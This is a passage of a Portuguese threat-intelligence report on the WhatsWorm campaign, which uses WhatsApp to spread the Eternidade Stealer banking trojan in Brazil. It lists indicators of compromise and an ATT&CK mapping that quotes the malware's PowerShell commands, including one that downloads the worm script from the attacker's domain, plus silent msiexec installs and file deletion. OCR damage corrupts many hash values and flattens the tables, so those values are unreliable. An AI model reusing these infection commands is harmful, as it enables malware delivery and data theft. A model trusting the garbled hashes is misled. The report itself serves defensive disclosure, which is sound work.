campanha tem como alvo a populagido brasileira, e que estes atores sdo de
nacionalidade brasileira.

Para a interrupcado desta campanha, é necessario o treinamento eficaz dos
funcionarios das empresas vitima desta campanha, para que eles nao abram
nenhum tipo de arquivo em seus computadores vindas de contatos que elas
desconhecem, ou, mensagens que elas ndo esperavam receber.

Estes atores se aproveitam do fato de que a grande maioria da populacao
brasileira utiliza o WhatsApp, transformando-o em um vetor de ataque para toda a
populacdo, permitindo mais um grande roubo de dados dos brasileiros.
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INDICADORES DE COMPROMETIMENTO

Abaixo segue a lista de Indicadores de Comprometimento (I0OCs) da
campanha WhatsWorm identificada pela equipe Heimdall Security Research da
ISH Tecnologia, em conjunto com a parceria com a equipe de Resposta a
Incidentes e Forense Digital.

md5
sha1

sha256

Descricao
md>5
sha1

sha256

Descricao

Descricao
md5
sha1

sha256

Descricao

95daa771a28eaed76eb01e1e8f403
f7¢c
cdd5717fd3bfd375¢c1c34237¢c2407
3e92ad6dccc

0d1174292357f91d0d6721aefecd1

9873a8b27d295d1c6089¢efaad55c4
53a0aa

Arquivo VBS ofuscado, executado

no inicio da cadeia de infecgao.
f1a81262cef067c447tf20ef3c5f22f
C
fac812b468705d1376d86772664c0
8bef2983d17

fb71f48345e3568b7e7ba1eb5078b

055b7350673a92379dba231fd66d
bd9dadc

Malware de categoria Dropper, que

tem o objetivo de ‘instalar’ os
demais estagios.

8197f50266e988a63196eece2e2ab

a9c
2be8d86ea8e1fd96c968ed0282538
5afcObe1915
ce24c65c285ff240a7555fafb85f53
843085092e9133e1f8558a0f28989
52737
Arquivo VBS que executa o proximo
estagio da infeccao.
5bcb9f187320893d1b1c36falc18e
094
a1c88a022e55d73a2894ddfb8b7bf
5381d9f13dd

495697717be4a80c9db9fe2dbb40

c57d4811ffe5ebceb9375666066b3
dda73c3
Loader do Eternidade Stealer via
Reflective DLL Injection
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md>5
sha1
sha256
Descricao
md5
sha1

sha256

7bae034dc77dec9a72d6e4a262f3e
dae
€38734e1d28d4e5621da8ff60abal
225c¢73699aa
de07516f39845fb91d9b4f78abeb3
2933f39282540f8920fe6508057¢eed
cbbea
Eternidade Stealer criptografado
279274f8a137bf31425a9c2c14444
b66
6f7f971406854309d94139aa70bdc
772308aff52
bdd2b7236a110b04c288380ad56e
8d7909411da93eed2921301206de
Ocb0Odda1

Descricao

Carrega interpretador do script
AutolT

heimdall

security research

md5
sha1

sha256

Descricao

Dominios
Identificados
Durante toda a
execucao

90a66eea0950c7b73eda8d212e1a
d694
718f9865a69c44a8c1eal8e2aeeb0
f685cfeele
6e6ca850804982086b8d34e092¢ee
0d5ed047fdc2bea18a55¢360c317d
d1d19d9

Script AutolT com capacidades de

Trojan Bancario, e que implementa
o algoritmo de descriptografia e
descompressao do Loader e do

Eternidade Stealer

013net[.Jcom[.]br

Dominio contactado pela amostra
durante sua execucgao.

apil.lipify[.]Jorg

Dominio contactado pela amostra
durante sua execucao.

sorvetenopote[.Jcom

Dominio contactado pela amostra
durante sua execugao.

hxxps[:]//empautlipa[.Jcom/altor
/installer[.]Jmsi
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URL que hospeda o instalado dos
proximos estagios de infeccao.

hxxps[:]//empautlipa[.Jcom/altor
/vbiud[.]py

URL que hospeda o Worm que se
espalha pelo WhatsApp.

hxxps[:]//bootstrap[.]pypal.lio/ge
t-pip[.1py

Esta URL ndo é maliciosa, mas é
URLs Identificadas essencial para que o worm
Durante o Inicio da (vbiud.py) execute, pois, por meio
Cadeia de Ataque do get-pip.py ele ira instalar os
requisitos para o worm.

hxxps[:]1//www[.]python[.]Jorg/ftp/
python/3.12.7/python-3.12.7-
embed-amd64][.]zip

Esta URL ndo é maliciosa, mas é
essencial para que o worm
(vbiud.py) execute, pois, ele € um
script em Python.

coffe-estilo[.]Jcom
Dominio
Identificado Servidor de Comando e Controle,
Durante a Execugdo que recebe todos os logs e dados
do WhatsWorm da vitima.

Tabela 3 - Indicadores de Comprometimento Identificados

Além dos indicadores de comprometimento de base da Piramide da Dor,
também foi possivel identificar Taticas, Técnicas e Procedimentos do MITRE
ATT&CK, que podem ser identificadas na tabela a seguir.

Initial Access Phishing: Envio automatizado de mensagem
Spearphishing no WhatsApp com um anexo
Attachment malicioso.

O
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Execution
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powershell -Command ""Invoke-
WebRequest " & strMsiUrl & "' -
OutFile instalador.msi
Command and
Scripting Interpreter:

powershell -Command ""Invoke-

WebRequest
'https://www.python.org/ftp/python
/3.12.7/python-3.12.7-embed-
amd64.zip' -OutFile python.zip
powershell -Command ""Expand-
Archive python.zip . -Force""

PowerShell

powershell -Command ""Invoke-
WebRequest
'https://bootstrap.pypa.io/get-
pip.py' -OutFile get-pip.py""

powershell -Command ""Expand-
Archive driver.zip temp -Force™""

powershell -Command ""Invoke-
WebRequest
'hxxpsl[:]//empautlipa[.Jcom/altor/v
biud[.]py' -OutFile whats.py""
powershell -Command
""$chromePath = Get-ltemProperty
'HKLM:ASOFTWARE\Microsoft\Wind
ows\CurrentVersion\App
Paths\chrome.exe' -ErrorAction
SilentlyContinue;
if(!$chromePath){$chromePath =
Get-ltemProperty
'HKLM:ASOFTWARE\WOW6432Nod
e\Microsoft\Windows\CurrentVersi
on\App Paths\chrome.exe' -
ErrorAction SilentlyContinue};
if(fchromePath){$version = (Get-
Iltem
$chromePath.'(Default)').VersionInf
o.FileVersion; $majorVersion =
$version.Split(".")[0]; $jsonUrl =
'https://googlechromelabs.github.io
/chrome-for-testing/known-good-
versions-with-downloads.json’;
$json = Invoke-WebRequest
$jsonUrl | ConvertFrom-Json;
$chromeVersions = $json.versions |
Where-Object {$_.version -like
($majorVersion +'.*")};
$latestVersion = $chromeVersions[-
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1]; $driverUrl =
$latestVersion.downloads.chromed
Execution Command and river | Where-Object {$_.platform -
Scripting Interpreter: eq 'winé4'} | Select-Object -

PowerShell ExpandProperty url -First 1;
if(!$driverUrl){$driverUrl =
'https://storage.googleapis.com/chr
ome-for-testing-
public/130.0.6723.93/win64/chrom
edriver-win64.zip'}; Invoke-
WebRequest $driverUrl -OutFile
driver.zip}else{lnvoke-WebRequest
'https://storage.googleapis.com/chr
ome-for-testing-
public/130.0.6723.93/win64/chrom
edriver-win64.zip' -OutFile

driver.zip}

Command and Apds a infecgao via Phishing, um
Scripting Interpreter: | artefato .vbs inicia toda a cadeia de
Visual Basic infeccao

Command and python.exe -m pip install setuptools
Scripting Interpreter: wheel pywin32 >nul 2>&1
Python python.exe -m pip install requests
Pillow numpy opencv-python >nul
2>&1
python.exe -m pip install pyautogui
keyboard mouse pygetwindow >nul
2>&1
python.exe -m pip install
pytesseract selenium packaging
webdriver-manager >nul 2>&1
System Binary Proxy msiexec.exe /i instalador.msi /gn
Execution: Msiexec /norestart

Indicator Removal: delinstalador.msi
File Deletion del python.zip
del driver.zip
Process Injection: O loader do Eternidade Stealer
Process Hollowing executa-o via Process Hollowing.
Reflective Code O script AutolT implementa a
Loading técnica de injecao via Reflective
DLL.
De maneira automatizada, o
Exfiltration Automated Exfiltration WhatsWorm e o script AutolT

Defense
Evasion

python.exe get-pip.py >nul 2>&1
|
|
|

O
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implementa a capacidade de envio
de informacdes das vitimas.
Command and Application Layer
Control Protocol: Web Ao longo da cadeia de infecgéo, a
Protocols maioria dos artefatos se
comunicam com a infraestrutura de
C&C, por meio de protocolos Web.

Command and Application Layer O Eternidade Stealer se comunica
Control Protocol: Mail com o servidor de C&C por meio do
Protocols protocolo IMAP.

Financial Theft O objetivo final do adversario, é o
roubo de dados bancario, causando

prejuizo financeiro a vitima.
Tabela 4 - Mapeamento do MITRE ATT&CK Identificado
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